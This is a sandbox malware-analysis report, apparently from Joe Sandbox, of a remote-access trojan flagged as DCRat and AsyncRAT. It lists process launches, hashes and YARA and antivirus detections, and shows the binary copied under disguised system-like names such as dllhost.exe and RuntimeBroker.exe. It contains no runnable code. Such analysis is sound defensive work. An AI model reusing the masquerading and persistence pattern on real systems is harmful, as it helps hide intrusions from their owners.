            Start date:24/12/2024
            Path:C:\Windows\System32\cmd.exe
            Wow64 process (32bit):false
            Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat"
            Imagebase:0x7ff6fd090000
            File size:289'792 bytes
            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high
            Has exited:true

            General

            Target ID:8
            Start time:23:31:58
            Start date:24/12/2024
            Path:C:\Windows\System32\conhost.exe
            Wow64 process (32bit):false
            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Imagebase:0x7ff7699e0000
            File size:862'208 bytes
            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high
            Has exited:true

            General

            Target ID:9
            Start time:23:31:58
            Start date:24/12/2024
            Path:C:\Windows\System32\w32tm.exe
            Wow64 process (32bit):false
            Commandline:w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
            Imagebase:0x7ff7de900000
            File size:108'032 bytes
            MD5 hash:81A82132737224D324A3E8DA993E2FB5
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:moderate
            Has exited:true

            General

            Target ID:10
            Start time:23:32:00
            Start date:24/12/2024
            Path:C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe
            Wow64 process (32bit):false
            Commandline:"C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe"
            Imagebase:0x340000
            File size:933'888 bytes
            MD5 hash:1EC0EF270FF4B08FA5B6436AB0ED39D0
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Yara matches:
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000A.00000002.1732503350.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000A.00000002.1732503350.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000A.00000002.1732503350.00000000026A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            Antivirus matches:
            • Detection: 100%, Avira
            • Detection: 100%, Avira
            • Detection: 100%, Avira
            • Detection: 100%, Joe Sandbox ML
            • Detection: 100%, Joe Sandbox ML
            • Detection: 100%, Joe Sandbox ML
            • Detection: 79%, ReversingLabs
            Reputation:low
            Has exited:true

            General

            Target ID:11
            Start time:23:32:00
            Start date:24/12/2024
            Path:C:\Windows\System32\nettraceex\dllhost.exe
            Wow64 process (32bit):false
            Commandline:C:\Windows\System32\nettraceex\dllhost.exe
            Imagebase:0x30000
            File size:933'888 bytes
            MD5 hash:1EC0EF270FF4B08FA5B6436AB0ED39D0
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Yara matches:
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.1760201778.00000000023A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            Antivirus matches:
            • Detection: 100%, Avira
            • Detection: 100%, Joe Sandbox ML
            • Detection: 79%, ReversingLabs
            Reputation:low
            Has exited:true

            General

            Target ID:12
            Start time:23:32:00
            Start date:24/12/2024
            Path:C:\PerfLogs\RuntimeBroker.exe
            Wow64 process (32bit):false
            Commandline:C:\PerfLogs\RuntimeBroker.exe
            Imagebase:0x290000
            File size:933'888 bytes
            MD5 hash:1EC0EF270FF4B08FA5B6436AB0ED39D0
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Yara matches:
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000C.00000002.1734290975.0000000002721000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000C.00000002.1734290975.0000000002721000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000C.00000002.1734290975.0000000002765000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            Antivirus matches:
            • Detection: 100%, Avira
            • Detection: 100%, Joe Sandbox ML
            • Detection: 79%, ReversingLabs
            Reputation:low
            Has exited:true

            General

            Target ID:13
            Start time:23:32:00
            Start date:24/12/2024
            Path:C:\Users\user\Searches\TextInputHost.exe
            Wow64 process (32bit):false
            Commandline:C:\Users\user\Searches\TextInputHost.exe
            Imagebase:0x630000
            File size:933'888 bytes
            MD5 hash:1EC0EF270FF4B08FA5B6436AB0ED39D0
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Yara matches:
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000D.00000002.1760200675.0000000002AE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000D.00000002.1760200675.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.1760200675.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
            Antivirus matches:
            • Detection: 100%, Avira
            • Detection: 100%, Joe Sandbox ML
            • Detection: 79%, ReversingLabs
            Reputation:low
            Has exited:true

            General

            Target ID:14
            Start time:23:32:04
            Start date:24/12/2024
            Path:C:\Users\user\Desktop\TodjHkXUZB.exe
            Wow64 process (32bit):false
            Commandline:"C:\Users\user\Desktop\TodjHkXUZB.exe"
            Imagebase:0x4b0000
            File size:933'888 bytes
            MD5 hash:1EC0EF270FF4B08FA5B6436AB0ED39D0
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Has exited:true

            General

            Target ID:15
            Start time:23:32:10
            Start date:24/12/2024
            Path:C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe
            Wow64 process (32bit):false
            Commandline:"C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe"
            Imagebase:0x7f0000
            File size:933'888 bytes
            MD5 hash:1EC0EF270FF4B08FA5B6436AB0ED39D0
            Has elevated privileges:false
            Has administrator privileges:false
            Programmed in:C, C++ or other language
            Yara matches:
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000F.00000002.1839419550.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            Has exited:true

            General

            Target ID:19
            Start time:23:32:35
            Start date:24/12/2024
            Path:C:\Windows\System32\nettraceex\dllhost.exe
            Wow64 process (32bit):false
            Commandline:"C:\Windows\System32\nettraceex\dllhost.exe"
            Imagebase:0x620000
            File size:933'888 bytes
            MD5 hash:1EC0EF270FF4B08FA5B6436AB0ED39D0
            Has elevated privileges:false
            Has administrator privileges:false
            Programmed in:C, C++ or other language
            Yara matches:
            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000013.00000002.2081171609.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
            Has exited:true

            Disassembly

            Reset < >

              Executed Functions

              Function 00007FFD9B7E1589 Relevance: .2, Instructions: 173COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: f2072670cd875efea79e5952c468ae5c04931948792ea30100ad022a42b532f8
              • Instruction ID: e5ea6c33927d42a5047cb7f3c44e8f245931ec85b402e305cd7709ef301c31c1
              • Opcode Fuzzy Hash: f2072670cd875efea79e5952c468ae5c04931948792ea30100ad022a42b532f8
              • Instruction Fuzzy Hash: FF514D71E1A24D8FDB65DBA4C8666EC7BF0EF45300F4502BAD409E71B2DA786A45CB10
              Function 00007FFD9B7E18E8 Relevance: .2, Instructions: 170COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 5b0e3d4009f0d427cd32e9cbf219e4ed40ee22aa135891f88067cd87b1a319a1
              • Instruction ID: a2cc027b6e2cd7570e86d331c309ca368894c9115f1b277ddb29c8f9b6e8f240
              • Opcode Fuzzy Hash: 5b0e3d4009f0d427cd32e9cbf219e4ed40ee22aa135891f88067cd87b1a319a1
              • Instruction Fuzzy Hash: DE415A27B0CA654BD700BBBCBC656EC7B60EF81376B0885B7D189CA097DE242505C7C1
              Function 00007FFD9B7EEC40 Relevance: .2, Instructions: 161COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e7abd09e08feb88ed64eb6289ce6a7ac85a16c7421c971462912687c7f0790ac
              • Instruction ID: 8989af69247ce2ee1a4320b1dd2e478542b06a0a34c0e2f3e8f265e4e732f55a
              • Opcode Fuzzy Hash: e7abd09e08feb88ed64eb6289ce6a7ac85a16c7421c971462912687c7f0790ac
              • Instruction Fuzzy Hash: 2B51E771E09A5D8FDFA4EB98D895BECBBF1FF58300F10056AD01DE72A5DA3469818B40
              Function 00007FFD9B7E0B8D Relevance: .1, Instructions: 112COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b8850adabe030759f31c8fd7683fa8264f5f2afeb5a22f4abbb514b7f55def93
              • Instruction ID: 477722e024c758bcd9e0c6e48e22c96d6cc4813dae040d008c73de9ff6cf12cd
              • Opcode Fuzzy Hash: b8850adabe030759f31c8fd7683fa8264f5f2afeb5a22f4abbb514b7f55def93
              • Instruction Fuzzy Hash: 97417E70E0A65E8FEB60DBA4C866AFD77B1FF05704F010675D009E71B2DB7866408750
              Function 00007FFD9B7E118F Relevance: .1, Instructions: 99COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction ID: d58a26f84a19f26dd78189b030b56718051c0f55ad7630a79001a7408790c250
              • Opcode Fuzzy Hash: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction Fuzzy Hash: 1D419A70E1561D8EEBA4EBE8C466BADB7B1FF58700F514179D00DE32B2DE346A818B11
              Function 00007FFD9B7E12B7 Relevance: .1, Instructions: 93COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 200554bbd465b213230779aedeea7701fbf2de975d9254e7e25a43e3c1ea47ad
              • Instruction ID: a5236927b8e247cc870f08f7ff3b8e7381488fd6af6730e53dbb890742af7b82
              • Opcode Fuzzy Hash: 200554bbd465b213230779aedeea7701fbf2de975d9254e7e25a43e3c1ea47ad
              • Instruction Fuzzy Hash: 3741A870E1561D8EEBA4EB98C866BE8B6B1FF58700F0142F5D00DE22B1DE746A818B51
              Function 00007FFD9B7E0DE9 Relevance: .1, Instructions: 91COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 90f04e973c19f1cd60a12bd2a117f6f41ce232af60e3d29c2b1c36ade57079ac
              • Instruction ID: 97676fa5662787390f725e1a50ee94b975b706ea32830da73dae4ba976942211
              • Opcode Fuzzy Hash: 90f04e973c19f1cd60a12bd2a117f6f41ce232af60e3d29c2b1c36ade57079ac
              • Instruction Fuzzy Hash: 6F314A70E0A35E8FEB20EBA4C4657ED77F0AF19710F114275D009E62B2CB786A44CBA1
              Function 00007FFD9B7E168D Relevance: .1, Instructions: 79COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ff488eae1f9ec138bffafefee49887dfb4c22f20b6261df12bd2ba382e0001b3
              • Instruction ID: d1c5f64f7a97838fe273501fd2682152d1b3ca6e33c06f823b3af83de4715566
              • Opcode Fuzzy Hash: ff488eae1f9ec138bffafefee49887dfb4c22f20b6261df12bd2ba382e0001b3
              • Instruction Fuzzy Hash: 9D210A74E0961D8FDB54EB98C8A56ECB7F1FF98301F11417AD00AE72B1CA746941CB40
              Function 00007FFD9B7E19D3 Relevance: .1, Instructions: 72COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: cd2daa0598d14e661addedc861ee1925e0f61d9792f29edd94258f25d1a2cc78
              • Instruction ID: 1c252063f64ebd5c334376862af125097d3d7312c21007495c504613fad2190a
              • Opcode Fuzzy Hash: cd2daa0598d14e661addedc861ee1925e0f61d9792f29edd94258f25d1a2cc78
              • Instruction Fuzzy Hash: F4117A26B0F79D5FC7129FA89C216EE7F60EF42222F0501FBD148C31B2DA280649C791
              Function 00007FFD9B7E19C0 Relevance: .1, Instructions: 60COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8b29c4409a9a4a4068037ab09ba282dc114a7651e0131159900c053f497a645e
              • Instruction ID: a65e4f498c20b93c855ee1706ab8c2df202f3487ffc93a5f066612d77238f6c3
              • Opcode Fuzzy Hash: 8b29c4409a9a4a4068037ab09ba282dc114a7651e0131159900c053f497a645e
              • Instruction Fuzzy Hash: 4211A36290E7C96FD7129BA49C655EA3FA0EF02214F0901FBD448C65A3EA281A58C791
              Function 00007FFD9B7E19C8 Relevance: .1, Instructions: 56COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9ff49449c8baf323ca08cf21bb7b0527ebb457bc1bb622a79063ab782193b86b
              • Instruction ID: dc72b6afe8ff0415630c1122593211dd589504ef97fdd4551568676a934532d7
              • Opcode Fuzzy Hash: 9ff49449c8baf323ca08cf21bb7b0527ebb457bc1bb622a79063ab782193b86b
              • Instruction Fuzzy Hash: CE11C26290F3CD6FD7129BA48C655EA3FA0EF02214F0901BBD448C25B3EA281658C751
              Function 00007FFD9B7E19B8 Relevance: .1, Instructions: 55COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 565ad6bea3b166007e7e8fe8cec0ed9ebdb8597b135bea3843407e7a7886b1fd
              • Instruction ID: 52bd2ef7986b6a37bc4509bd8ad3ddac003d659579cb0d732fafbfedf357500e
              • Opcode Fuzzy Hash: 565ad6bea3b166007e7e8fe8cec0ed9ebdb8597b135bea3843407e7a7886b1fd
              • Instruction Fuzzy Hash: 1801D252A4F7C92FD3225BB49C756EA3FA0EF02215F0A06FBD444C65B3E9181A49C791
              Function 00007FFD9B7E1511 Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0d642c13cbe990222fc10511da76a507e3601f184e0c7d75a5f9e1a6f1cd4d62
              • Instruction ID: b347a5c304de705f7307ad491973dd18b1fb3d48ac218ea5097d0b80cf676ecb
              • Opcode Fuzzy Hash: 0d642c13cbe990222fc10511da76a507e3601f184e0c7d75a5f9e1a6f1cd4d62
              • Instruction Fuzzy Hash: 46012C3188E3C98FC7139BB488756A07FB4AF47214F0A05EAD4998F0F3D619696AD712
              Function 00007FFD9B7E176F Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: bd03412b2f598cf2a1b4c7ff469b35c297ac303a699243efb95bd291ad105b5c
              • Instruction ID: 6c50bbeba49e4c53a9c169e703cc89f948257adf0ae05b0878e8bbcae7f953b8
              • Opcode Fuzzy Hash: bd03412b2f598cf2a1b4c7ff469b35c297ac303a699243efb95bd291ad105b5c
              • Instruction Fuzzy Hash: 0D019E3188E3C99FD7439BB08C699E57FF0EF47214B1901EAD485CB0B3C629964AC712
              Function 00007FFD9B7E0A79 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 01dd74e4451044fe55658728c717acc44dcef117c15671342bb1d77f3d19c4e5
              • Instruction ID: 297f3ee1478a921ec8180593a61652a348d780ea19c784438f0570abb9d22695
              • Opcode Fuzzy Hash: 01dd74e4451044fe55658728c717acc44dcef117c15671342bb1d77f3d19c4e5
              • Instruction Fuzzy Hash: E101D431A0E38D4FE7669BA488792F97FA0AF56714F4601AAD089C60F2D9285954C701
              Function 00007FFD9B7E0BD3 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction ID: b6023f05b469bb7bbacceba0aa08a72f5554ae945c345e5ec3e09e6ccba74c9c
              • Opcode Fuzzy Hash: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction Fuzzy Hash: 21011E70E0A22F8EEB60DBE489566FEB6F0BF05705F110635D019A21B2DB786744CBA0
              Function 00007FFD9B7E148F Relevance: .0, Instructions: 39COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 6f0ccc9e0ec3e597a7e6b203600d8c7b8cb01ecc2bd5050193b0c06bf3c471fa
              • Instruction ID: c8195828c7b2f7677b87f24dc416cecdb580c15a8299374e08edfeebec5b67d8
              • Opcode Fuzzy Hash: 6f0ccc9e0ec3e597a7e6b203600d8c7b8cb01ecc2bd5050193b0c06bf3c471fa
              • Instruction Fuzzy Hash: 8F01A970E0A61ECFDB64EB84D855AEC76B1FF59300F510239D009A26B1DA746A40CB00
              Function 00007FFD9B7E0A90 Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4e9a03111e5cfe9a08b1389b05a7fabfeca86c166bc7ff10d29cf8df083dff23
              • Instruction ID: acb3eb9dc19f6a708c020d1b797f9907dc38196ac61bb994de65aa112f8668ca
              • Opcode Fuzzy Hash: 4e9a03111e5cfe9a08b1389b05a7fabfeca86c166bc7ff10d29cf8df083dff23
              • Instruction Fuzzy Hash: 9BF05930E1E74D8AEB64EBB488652F97BE0EF55704F41017AE08DC10F1DD342694C700
              Function 00007FFD9B7F2AE0 Relevance: .0, Instructions: 23COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: cc692d71d1d1e274c2b259f8f740e8cb3c06e92bf9cc46713a560a303b6ac5cc
              • Instruction ID: 4ce10b17d34218a904d85258dc9e324906535cfd9beb5db4c9b478c59d2f7a91
              • Opcode Fuzzy Hash: cc692d71d1d1e274c2b259f8f740e8cb3c06e92bf9cc46713a560a303b6ac5cc
              • Instruction Fuzzy Hash: DBE04F30E6A60D9AEB60EBE484596FD7BE4EF08304F410976E81CD20B1DA346294CA41
              Function 00007FFD9B7E13FB Relevance: .0, Instructions: 5COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000000.00000002.1697263624.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_0_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction ID: 2043236a29b71ba783403d6a7beee0ffc1184ac7daeaf3011b411415be6f4f00
              • Opcode Fuzzy Hash: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction Fuzzy Hash: 67A00120A6E61ECAE674E6D498669BC726A6F89700F522634E04E925B29D282A119600

              Executed Functions

              Function 00007FFD9B7E87FA Relevance: 2.6, Strings: 2, Instructions: 70COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e8000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID: M_^$M_^
              • API String ID: 0-615062493
              • Opcode ID: 3e4035e481e6974ffc70bdb0e5ec80ad15a058b538adc5eec85f843757ddd700
              • Instruction ID: 7c52f39e93e1bead7bd9997ff1620aed1816c49c4ed5a480c8c10bb080077a9e
              • Opcode Fuzzy Hash: 3e4035e481e6974ffc70bdb0e5ec80ad15a058b538adc5eec85f843757ddd700
              • Instruction Fuzzy Hash: 91118731E2A78E9FD7129B6868689E93BA0EF02314F1602FBDC78C60F3EE245555C751
              Function 00007FFD9B7E8C90 Relevance: 1.4, Strings: 1, Instructions: 119COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e8000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID: 0-2599400749
              • Opcode ID: b6957e3752bbe2ba1f2d1f42ddf937c7eb8c6f5d303003d04a5e28f740033356
              • Instruction ID: f4bea1196cbcf665afdfb37d9082fc79d676f10575af276744ffd9f25512b48f
              • Opcode Fuzzy Hash: b6957e3752bbe2ba1f2d1f42ddf937c7eb8c6f5d303003d04a5e28f740033356
              • Instruction Fuzzy Hash: 1831EE74E19A1D8FEBA4EB98E4A56FCB7B1FF58300F511239D00DE32B2DE2469419B10
              Function 00007FFD9B7F67B5 Relevance: .5, Instructions: 525COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 26cce3b0e8d6a06a051205c95eda333ae9bddbd6dda04e5cb5f906bd2c37c4c4
              • Instruction ID: ae140d9e5619e41d535fed97fbd84bcf35091fffe10b4edb50eef07b24e09147
              • Opcode Fuzzy Hash: 26cce3b0e8d6a06a051205c95eda333ae9bddbd6dda04e5cb5f906bd2c37c4c4
              • Instruction Fuzzy Hash: 8A229A70E15A1D8FDBA4EB94C8A9BA8B7B1EF58301F5141E9D41DE32A5CE346E81CF40
              Function 00007FFD9B7E97A1 Relevance: .4, Instructions: 360COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e8000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 1569c2839475015f1478e4f96abfd2d4792b6d144084d3c6ba1dc0495bab95ef
              • Instruction ID: d2a1ecf62ff725633b356cfe8af81800f102cbd244bdd1eace74043acff11bf1
              • Opcode Fuzzy Hash: 1569c2839475015f1478e4f96abfd2d4792b6d144084d3c6ba1dc0495bab95ef
              • Instruction Fuzzy Hash: 33D11A71E1965D8FDBA8DFA8C8A5BBCB7A1FF58300F4501B9D00DE72A2DA346940CB40
              Function 00007FFD9B7F4F21 Relevance: .2, Instructions: 230COMMON
              Download Yara Rule
              Memory Dump Source
